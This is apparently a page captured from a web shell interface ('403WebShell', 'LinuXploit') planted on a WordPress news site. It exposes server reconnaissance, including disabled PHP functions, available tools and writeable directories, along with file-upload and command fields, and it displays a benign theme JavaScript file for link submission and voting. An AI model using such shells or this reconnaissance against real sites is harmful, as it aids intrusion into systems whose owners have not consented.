AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor


Warning: chmod(): Operation not permitted in /www/wwwroot/dzynews.com/wp-content/plugins/fileorganizer/fileorganizer.php on line 8
403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Assets/fontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Assets/fontend/links.js
var b2LinkRegister = new Vue({
    el:'.links-register',
    data:{
        link_name:'',
        link_url:'',
        link_image:'',
        link_content:'',
        locked:false,
        progress:0,
        disabled:false,
        login:false
    },
    computed:{
        userData(){
            return this.$store.state.userData
        }
    },
    mounted(){
        if(this.$refs.registerLink){
            this.hasPending()
        }
        
        if(b2token){
            this.login = true
        }

        if(document.querySelector('.b2-tab-link-in')){
            b2loadScript(b2_global.site_info.site_uri+'/Assets/fontend/library/tocbot.min.js','',()=>{ 
                tocbot.init({
                    // Where to render the table of contents.
                    tocSelector: '.b2-tab-link-in',
                    // Where to grab the headings to build the table of contents.
                    contentSelector: '.links-home',
                    // Which headings to grab inside of the contentSelector element.
                    headingSelector: '.links-home .link-title h2',
                    hasInnerContainers: true,
                    headingsOffset: 140,
                    scrollSmoothOffset: -140
                });
    
                new StickySidebar('.b2-tab-links', {
                    containerSelector:'.toc-list ',
                    topSpacing: 120,
                    resizeSensor: true,
                });
            })
        }
        
    },
    methods:{
        hasPending(){
            this.$https.get(b2_rest_url+'linkHasPending').then(res=>{
                this.disabled = res.data
            })
        },
        submit(e){
            e.preventDefault()
            this.locked = true
            // console.log(tinyMCE.get('link_content_1').getContent({ format: 'text' }));
            let data = {
                link_name:this.link_name,
                link_url:this.link_url,
                link_category:this.$el.querySelector('.register-cat select').value,
                link_image:this.link_image,
                link_content:tinyMCE.get('link_content_1').getContent()
            }

            this.$https.post(b2_rest_url+'submitLink',Qs.stringify(data)).then(res=>{
                if(!this.userData.is_admin){
                    this.disabled = true
                }

                Qmsg['success'](b2_global.js_text.global.submit_success,{html:true});

                this.link_name = ''
                this.link_url = ''
                this.link_category = ''
                this.link_image = ''
                this.link_content = ''
                tinyMCE.get('link_content_1').setContent('');

                this.progress = 0
                
                this.locked = false
            }).catch(err=>{
                Qmsg['warning'](err.response.data.message,{html:true});
                this.locked = false
                // this.disabled = false
            })

        },
        imgUpload(event){
            if(event.target.files.length <= 0) return
            if(this.locked == true) return
            this.locked = true
            this.progress = 0
            let file = event.target.files[0]

            let formData = new FormData()

            formData.append('file',file,file.name)
            formData.append("post_id", 1)
            formData.append("type", 'avatar')

            let config = {
                onUploadProgress: progressEvent=>{
                    this.progress = progressEvent.loaded / progressEvent.total * 100 | 0
                }
            }

            this.toast = Qmsg['loading']('Loading...('+this.progress+'%)');
        
            this.$http.post(b2_rest_url+'fileUpload',formData,config).then(res=>{
                if(res.data.status == 401){
                    Qmsg['warning'](res.data.message,{html:true});
                    this.progress = 0
                }

                this.link_image = res.data.url

                this.$refs.fileInput.value = null
                this.locked = false;
                this.toast.close()
            }).catch(err=>{
                Qmsg['warning'](err.response.data.message,{html:true});
                this.locked = false
                this.progress = 0
                this.$refs.fileInput.value = null
                this.toast.close()
            })
        }
    }
})

var linkHome = new Vue({
    el:'.home-links-content',
    computed:{
        userData(){
            return this.$store.state.userData
        }
    }
})

var linkSingle = new Vue({
    el:'.single-link-rating',
    data:{
        id:0,
        locked:false,
        up:0,
        isUp:false
    },
    computed:{
        userData(){
            return this.$store.state.userData
        }
    },
    mounted(){
        if(this.$refs.linkSingle){
            this.id = this.$refs.linkSingle.getAttribute('data-id')
            this.getVote()
        }
    },
    methods:{
        getVote(){
            this.$http.post(b2_rest_url+'getLinkVote','link_id='+this.id).then(res=>{
                this.up = res.data.count
                this.isUp = res.data.isup
            })
        },
        linkVote(){
            if(this.locked) return
            this.locked = true
            this.$http.post(b2_rest_url+'linkVote','link_id='+this.id).then(res=>{
                
                this.up = this.up + res.data

                if(res.data == -1){
                    this.isUp = false
                }else{
                    this.isUp = true
                }

                this.locked = false;
    
            }).catch(err=>{
                Qmsg['warning'](err.response.data.message,{html:true});
                this.locked = false
            })
        }
    }
})

Youez - 2016 - github.com/yon3zu
LinuXploit